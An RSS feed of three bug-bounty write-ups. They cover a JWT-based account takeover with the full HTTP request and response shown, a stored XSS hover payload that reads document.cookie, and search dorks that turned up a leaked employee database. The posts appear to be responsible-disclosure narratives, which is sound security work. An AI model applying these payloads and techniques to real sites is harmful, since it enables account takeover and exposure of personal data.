<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by shivam Pandey on Medium]]></title>
        <description><![CDATA[Stories by shivam Pandey on Medium]]></description>
        <link>https://medium.com/@shivam312000?source=rss-4b9dbcb3a608------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2B9Gk2VG1xMr1aUb9H_-8A@2x.jpeg</url>
            <title>Stories by shivam Pandey on Medium</title>
            <link>https://medium.com/@shivam312000?source=rss-4b9dbcb3a608------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 07:43:15 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shivam312000/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A tale of critical account take over]]></title>
            <link>https://shivam312000.medium.com/a-tale-of-critical-account-take-over-e1b7c180917c?source=rss-4b9dbcb3a608------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1b7c180917c</guid>
            <dc:creator><![CDATA[shivam Pandey]]></dc:creator>
            <pubDate>Fri, 10 Jul 2020 11:28:34 GMT</pubDate>
            <atom:updated>2020-07-10T12:02:40.589Z</atom:updated>
            <content:encoded><![CDATA[<p>A tale of critical account take over</p><p>Hello everyone I hope everyone is healthy and safe taking precautions as well</p><p>So , I am going to share my latest finding which I have found on private program let’s get started !!</p><p>So first thing i do is check login with google and Facebook feature on program and I had this feature in my program</p><p>How does that work :</p><p>1) click on login with google</p><p>2) enter you email id and password</p><p>Simple right ?? Wait for twist</p><p>we all know vulnerability like changing email with other user email that will logged into their account but not the case this time</p><p>As , my program was using jwt authentication it will generate jwt for given email after successfully login attempt</p><p>basically while logged in with google I intercepted all request one by one</p><p>and surprisingly in my burp history I found an api endpoint that that generates jwt token of user via taking email id as parameter see below</p><p>POST /register?src=aweb HTTP/1.1</p><p>Host: userapi.target.com</p><p>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0</p><p>Accept: */*</p><p>Accept-Language: en-US,en;q=0.5</p><p>Accept-Encoding: gzip, deflate</p><p>Referer: https://www.target.com</p><p>cp-origin: 11</p><p>Content-Type: application/json</p><p>X-Auth-Token: xxxxx</p><p>X-JWT-Token:</p><p>Origin: https://www.target.com</p><p>Content-Length: 1354</p><p>Connection: close</p><p>{“name”:”Shivam Pandey”,”email”:”shivam@gmail.com”,”providerUserId”:”103151677586368643333&quot;,”providerToken”:” eyFuZGV5IiwibG9jYWxlIjoiZW4tR0IiLCJpYXQiOjE1OTQyMjE3NzQsImV4cCI6MTU5NDIyNTM3NCwianRpIjoiODI4MWQwMWNhMTI0NTBkODA0YWQ4YzdkYWEzYTQ5MWI1MTA4M2JlMSJmHBAN06Wv1CspbxbXxxvlCieGHjlXrF5S8TbQvLTwIHKwdlbXhbuYydHpTubRQojAc_ZcHdHlMgumx6XJLvUk10dHkN_V1eQ”,”providerName”:”g”}</p><p>In above request “provider token” will generate jwt token for given email . so here I changed email with my test account that is testhunter@gmail.com and got his jwt token see response</p><p>HTTP/1.1 200</p><p>Content-Type: application/json;charset=UTF-8</p><p>Content-Length: 476</p><p>Connection: close</p><p>Date: Wed, 08 Jul 2020 15:42:16 GMT</p><p>Server: nginx/1.16.1</p><p>X-Content-Type-Options: nosniff</p><p>X-XSS-Protection: 1; mode=block</p><p>Cache-Control: no-cache, no-store, max-age=0, must-revalidate</p><p>Pragma: no-cache</p><p>Expires: 0</p><p>Strict-Transport-Security: max-age=31536000 ; includeSubDomains</p><p>X-Frame-Options: DENY</p><p>Access-Control-Allow-Origin: https://www.target.com</p><p>Vary: Origin</p><p>Access-Control-Allow-Credentials: true</p><p>X-Application-Context: application:prod</p><p>X-Cache: Miss from cloudfront</p><p>{“userInfo”:{“id”:8023402,”name”:”Test account Reddy”,”email”:”testhunter@gmail.com”,”status”:2,”phone”:”xxxxxxxxxx&quot;,”phoneVerified”:true,”socialUserId”:”8023402&quot;,”wasUserExists”: :true,”coins”:1209.00},”jwtToken”:”eyJhbGciOiJIUzUxMiJ9.MjM0MDIiLCJpYXQiOjE1OTQyMjI5MzYsImlzcyI6ImFkZGEyNDcuY29tIiwibmFtZSI6IlNyaWthbnRoIFJlZGR5In0.CNjPEj182YvEsdqMOYE_MauFnkl”}</p><p><strong>Hey I have changed jwt token for security purpose</strong></p><p>After seeing this I was like :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*7SRRGdPhhAK_Y4aztcGnyw@2x.jpeg" /></figure><p>So I already have jwt token what I can do ?? I know I can perform email change request but my target doesn’t not allow it 😒</p><p>So saw there is small low hanging fruit on account setting page wanna see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*YO7C33t2lsgqq-qY83Nokg@2x.jpeg" /></figure><p>No current passowrd required for change passowrd</p><p>So I quickly made intercept request for new password see below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*3qDJx46LqIjqpk-ewcPZZA@2x.jpeg" /></figure><p>So in email param I changed it with my test account email it gave me 401</p><p>So I just changed jwt token which I steal previously with changing email param and successfully changed victim password</p><p>For confirmation got this on victim window</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*3fI3a6RtKfajg76bI_lSCQ@2x.jpeg" /></figure><p>I was like yes eureka !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*tvsX_VAxM2BSJYD1fUrBdw@2x.jpeg" /></figure><p>Takeaway:</p><p>1)Always mess with api endpoint</p><p>2) check burp history for juicy endpoints</p><p>3) test login with google and Facebook feature</p><p>Timeline : reported</p><p>Got duplicate but still learned a lot</p><p>Got question or suggestions ?? Find me on twitter</p><p><a href="https://mobile.twitter.com/shivam31200"></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1b7c180917c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Story of Rs.10k Bounty within minutes]]></title>
            <link>https://shivam312000.medium.com/a-story-of-rs-10k-bounty-within-minutes-67045a574f42?source=rss-4b9dbcb3a608------2</link>
            <guid isPermaLink="false">https://medium.com/p/67045a574f42</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[shivam Pandey]]></dc:creator>
            <pubDate>Sun, 19 Apr 2020 13:32:27 GMT</pubDate>
            <atom:updated>2020-04-19T13:32:27.084Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>A Story of Rs.10k Bounty within minutes</strong></p><p>Hello everyone i hope you guys are doing great in this quarantine i decided to write small blog post about my months older bug please have a look</p><p>So it was normie day no college decided to hunt ask my friend if he got any program ?</p><p>got to know about program its indian program so will kept this as private ( dnt want to get sue by them :xD)</p><p>As usual started with passive recon on github, trello, repl.it etc want to know more about this dorks ping me on twitter, got few results but older not worth to report</p><p>now , started active recon did subdomain scan got few checked for commaon bugs xss,csrf,cache poisioning,xxe no luck my friend already hunted on this</p><p>Me:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1PbmbCEG1A_qpdKy.jpg" /></figure><p>So what’s next never lose hope right?</p><p>decided scan twitter page of target manually hmm.</p><p>saw they have launched public discussion forum just hour ago like</p><p>forum.target.com it was not found by subdomain scanner</p><p>so as it was fresh thing decided to look for stored xss</p><p>now in discussions forum enter simple htmi payload &lt;h1&gt;hello&lt;/h1&gt; and post it</p><p>got big <strong>hello</strong> seems vulnerable to htmli</p><p>now gave my simple hover xss payload to steal cookie like <strong>&lt;a href=”javascript:void(0)” onmouseover=&amp;NewLine;javascript:alert(document.cookie)&amp;NewLine;&gt;X&lt;/a&gt;</strong></p><p>hovered my mouse got popup , yes !!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/290/0*WMYmJXjMriYu6-Zz" /><figcaption>stored xss feeling</figcaption></figure><p>so i quickly login with different account and hovred again as victim it showed victim cookie lol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*nas1w3UcNukw99frMSZi5Q.jpeg" /><figcaption>stored xss</figcaption></figure><p>Timeline:</p><p>Report sent</p><p>got reply</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*WThtLuUoGw2JzhrT-V32cQ.jpeg" /></figure><p>after few days of confirming patch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*wmkSYYea0c8ttLvxKFqG6w.jpeg" /><figcaption>bounty</figcaption></figure><p>Bounty is low cause its indian company</p><p>Tip: dont always much depend on automated tools</p><p>let me know on twitter ,if you all has any suggestions</p><p><a href="https://twitter.com/Shivam31200">Shivam Pandey</a></p><p>share and enjoy will do few writeups soon :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67045a574f42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From publicly available database leak to high impact business logic error]]></title>
            <link>https://shivam312000.medium.com/from-publicly-available-database-leak-to-high-impact-business-logic-error-cfef467c473d?source=rss-4b9dbcb3a608------2</link>
            <guid isPermaLink="false">https://medium.com/p/cfef467c473d</guid>
            <dc:creator><![CDATA[shivam Pandey]]></dc:creator>
            <pubDate>Wed, 25 Mar 2020 17:02:05 GMT</pubDate>
            <atom:updated>2020-03-25T17:02:05.472Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>From publicly available database leak to high impact business logic error</strong></p><p>Hello everyone this is my first writeup I hope you guys will like it let’s get started :)</p><p>My target is private so will call it target ,it is tech giant company with many subsidiaries</p><p>Usually i start with passive recon I started with normal GitHub recon like</p><p>target “api” , target “token” etc</p><p>Had no success with that so I remembered best writeup from <a href="https://medium.com/u/dd4cbb5a8d44">Prateek Tiwari</a> where he mentioned about scribd.com</p><p>what is scribd ?</p><p>Scribd is an American e-book and audiobook subscription service that includes one million titles. Scribd hosts 60 million documents on its open publishing platform.</p><p>So I used simple dork like</p><p>Site: scribd.com “target” got few result with no sensitive info</p><p>Now I searched one more dork</p><p>Site: scribd.com “TARGET”</p><p>Here I just gave my target name in capital letter got one pdf that has publicly available database info of more than 1k employs with their phone number , salary ,email, address etc in public pdf form</p><blockquote>I was like ohh yesss</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*GHxY1QU7z2SYD32_Tt_GvA@2x.jpeg" /></figure><p>Now after this reported to company , they removed that pdf within a hour now bounty time , I ask for bounty</p><p>They said for this subsidiary we don’t have bug bounty program</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*oxvjc7rwlrdN7nF-_90Ihg@2x.jpeg" /></figure><p>I was like wtf ?? Really !</p><p>After few days I got to know they have one subsidiary which is having online shopping website , and running bugbounty program I tried to find something here</p><p>Now after finding few subdomain for this subsidiary , one subdomain got my attention that was for all the employ who work for my target company where they can shop and get discount</p><p>So I thought to give try to this ,one classic idea came to my mind , what is if employ left job but still able to purchase anything on discount ??</p><p>How account making process work :</p><p>target domain uses employ government id after uploading it and entering government id number it will check that if employs exist with that number in database or not if yes it will create account :d</p><p>As I already having my target company database , I asked for red team permission after getting permission I contacted one of person (who has left job) using his phone number from database info I collaborated with him and I using his government id I was able to make account</p><p>So now I was able to buy anything with discount even if that employ has left job</p><p>This has created huge business loss and complete business logic error where target don’t delete old employ details from database</p><p>After few days reporting this got reply like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/375/1*VwNlftNFFWFEt-_a55FGLw@2x.jpeg" /></figure><p>So this was everything about my first writeup if anybody having questions or suggestions contact me via twitter</p><p><a href="https://mobile.twitter.com/shivam31200"></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cfef467c473d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>